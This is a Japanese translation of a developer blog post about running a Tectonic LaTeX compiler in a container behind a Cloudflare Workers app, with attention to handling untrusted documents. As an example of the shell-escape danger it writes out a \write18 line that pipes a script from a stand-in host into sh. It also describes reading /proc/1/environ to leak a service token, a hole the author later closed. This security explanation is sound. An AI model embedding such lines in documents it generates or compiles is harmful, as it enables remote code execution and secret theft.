エッジアプリの背後でLaTeXコンパイラをデプロイする
Shipping a LaTeX Compiler Behind an Edge App (bhargav.dev)
要約
エッジで動作するアプリケーションはPDFを生成できないという課題に対し、このブログ記事では、その問題からコンテナの実行まで、失敗したデプロイも含めて、その道のりを詳細に解説します。特に、成功したように見えたデプロイがなぜ最悪だったのかを明らかにします。
全文翻訳
エッジアプリの背後でLaTeXコンパイラをデプロイする
あなたのアプリはエッジで動作し、PDFを作成できません。この記事では、その問題からコンテナの実行まで、失敗したデプロイメントの全過程と、成功したように見えたものがなぜ最悪だったのかを解説します。
私はまず自分自身のために、ジョブトラッカーを構築しています。次に実装したい機能は、求人情報を受け取り、それに応じて履歴書を調整し、PDFで提供してくれるというものです。私はすでに履歴書をLaTeXで作成しているので、足りないのは、オンデマンドで.texを.pdfに変換するマシンです。
APIはCloudflare Workersで実行されます。WorkersはTeXエンジンを実行できません。その理由を正確に理解することは、ここで最初に学ぶべきことです。なぜなら、多くの「このライブラリを追加するだけ」という回答がエッジランタイムで失敗するのと同じ理由だからです。
この記事の終わりまでには、コンパイルがなぜエッジを離れる必要があるのか、信頼できないLaTeXを安全なコンパイルサービスがどのように処理するのか、秘密情報が見つからない場合にどのように動作すべきか、そして3秒のコンパイルを60秒のタイムアウトに変えてしまったDockerfileの1行について、全体像を把握できるでしょう。
なぜアプリは自分でPDFを作成できないのか?
Cloudflare Workerは小さなサーバーではありません。それはV8アイソレートです。これは、JavaScriptとWebAssemblyのみを実行する共有プロセス内のサンドボックスであり、それ以外のものは実行できません。別のプログラムを起動する方法はなく、その下にインストールするためのオペレーティングシステムもありません。Workerは現在node:fsを通じて書き込み可能な/tmpを提供していますが、これはディスクではなく、ツールチェーンが存在できるようなものではなく、単一のリクエストにプライベートなインメモリのスクラッチ領域です。
LaTeXはそれらすべてとは逆です。pdflatex、xelatex、Tectonicはネイティブバイナリです。つまり、実際のオペレーティングシステムを期待するコンパイル済みマシンコードです。これらは動作中に数十個の一時ファイルを読み書きし、従来のツールチェーンは途中で他のプログラムを呼び出します。アイソレートにはそれらのどれも存在しません。
TeXエンジンはWebAssemblyにコンパイルされています。SwiftLaTeXなどがその例です。しかし、エンジンに加えて、実際の履歴書が取り込むフォントやパッケージを含めると、Workerのサイズとメモリの制限に快適に収まらず、これらのポートはネイティブエンジンに遅れをとっています。
アイソレートはJavaScriptを実行します。コンテナはコンピュータを実行します。LaTeXにはコンピュータが必要です。
したがって、コンパイルはどこか別の場所で行われる必要があり、WorkerはHTTP経由でそれを呼び出す必要があります。それが全体のアーキテクチャです。一度理解すれば、残りは詳細です。
下の図は、アイソレートが何を行い、何を行わないか、そしてジョブが代わりにどこへ行くかを示しています。
[動画][動画]
TeXエンジンはどこで実行できるか?
なぜ通常のTeXインストールではなくTectonicなのか?
ラップトップでLaTeXを使用したことがあるなら、TeX Liveをインストールしたでしょう。これは数ギガバイトのパッケージ、フォント、プログラムで構成されており、そのほとんどは単一のドキュメントでさえ使用しません。その後、クロスリファレンスや参考文献が落ち着くまでpdflatexを2〜3回実行し、後で.aux、.log、.tocファイルでいっぱいのフォルダをクリーンアップしました。
Tectonicは同じエンジンに対する異なるアプローチです。XeTeXとTeX Liveを基盤とした完全なTeX/LaTeXエンジンで、1つのプログラムとしてパッケージ化されています。サーバーにとって重要な点は3つあります。
それはオンデマンドでサポートファイルをフェッチします。5ギガバイトのインストールではなく、バージョン管理されたバンドルから、特定のドキュメントが実際に使用するパッケージ、フォント、ハイフネーションパターンのみをプルし、キャッシュします。コンテナイメージは小さく保たれ、珍しいパッケージを必要とするドキュメントでもコンパイルできます。
それはドキュメントが必要とするだけのパスを実行します。プロジェクトの言葉を借りれば、「必要に応じて、必要なだけTeXとBibTeXを自動的にループさせます」。サービスは1回の呼び出しで、実行回数を推測することなく、完了したPDFを取得します。
それはデフォルトでTeXの中間ファイルを残しません。これにより、ジョブの作業ディレクトリを入力と出力に限定します。
他の理由がなくても私がTectonicを選ぶ4つ目の理由は、シェルエスケープが無効になっていることです。
最初に予想される質問は、なぜTypstではないのかということです。TypstはLaTeXよりも高速ではるかにシンプルです。答えは、私の履歴書とそれが使用するパッケージはすでにLaTeXであり、ポイントは私が持っているものをコンパイルすることであり、それを書き直すことではなかったからです。
シェルエスケープとは何か、そしてなぜそれがここで重要なのか?
TeXには\write18というプリミティブがあります。通常、\writeはテキストをファイルに送信します。ストリーム18は特別です。シェルエスケープが有効になっている場合、それに書き込まれたものはコンパイルを実行しているマシン上でシェルコマンドとして実行されます。
これは正当な理由で存在します。mintedパッケージはPythonを呼び出してコードをハイライトし、一部のグラフィックパッケージは外部コンバーターを呼び出します。自分のラップトップで、自分のドキュメントをコンパイルしている場合は問題ありません。
ここで、誰かが書いたドキュメント、または言語モデルが書いたドキュメントをコンパイルするサービスを想像してみてください。
\immediate\write18{curl -s https://evil.example/x.sh | sh}
シェルエスケープがオンになっていると、これはスクリプトをダウンロードしてサーバー上で実行します。ドキュメントはリモートシェルになります。
TeX Liveは、既知のコマンドの短いリストのみを許可する、制限付きシェルエスケープという中間的な解決策を提供します。Tectonicはさらに進んで、明示的に有効にしない限り無効になっており、サービスは--untrustedも渡します。ドキュメントによると、「これらの機能は、-Z shell-escapeなどの他の設定に関係なく、有効にすることはできません」。コストは、mintedのようなシェルエスケープを必要とするパッケージが機能しないことです。履歴書にとっては損失はありません。
それができないことの1つは、TeXをサンドボックスにすることです。シェルエスケープは、ドキュメントがプログラムを実行することを防ぎます。ドキュメントがファイルを読み取ることを防ぐわけではありません。なぜなら、\input{/some/path}は通常のTeXであり、--untrustedはそれを変更しません。確認しました。/proc/1/environ(サーバープロセスの環境変数)を開き、それを読み取り、コンパイルログに印刷するドキュメントは、サーバープロセスの環境変数を読み取ることができます。
それが最初のバージョンで見つけた穴です。コンパイラはサーバーの環境変数を継承しており、サーバーの環境変数にはサービスを保護するトークンが含まれていたため、ドキュメントはサービスのパスワード自体を呼び出し元に印刷できました。現在、コンパイラはゼロから構築された環境変数を受け取り、すべて特権のないユーザーとして実行され、トークンは標準入力でサーバーに渡されるため、どのプロセスの環境変数にも存在しません。
コンパイラが読み取れるものはすべて、ドキュメントも読み取ることができます。したがって、読み取る価値のあるものはコンテナ内にありません。
サービスは実際には何をしますか?
それは、コンテナ内のNodeで動作する約100行のHonoコードで、2つのエンドポイントがあります。
GET /healthは`{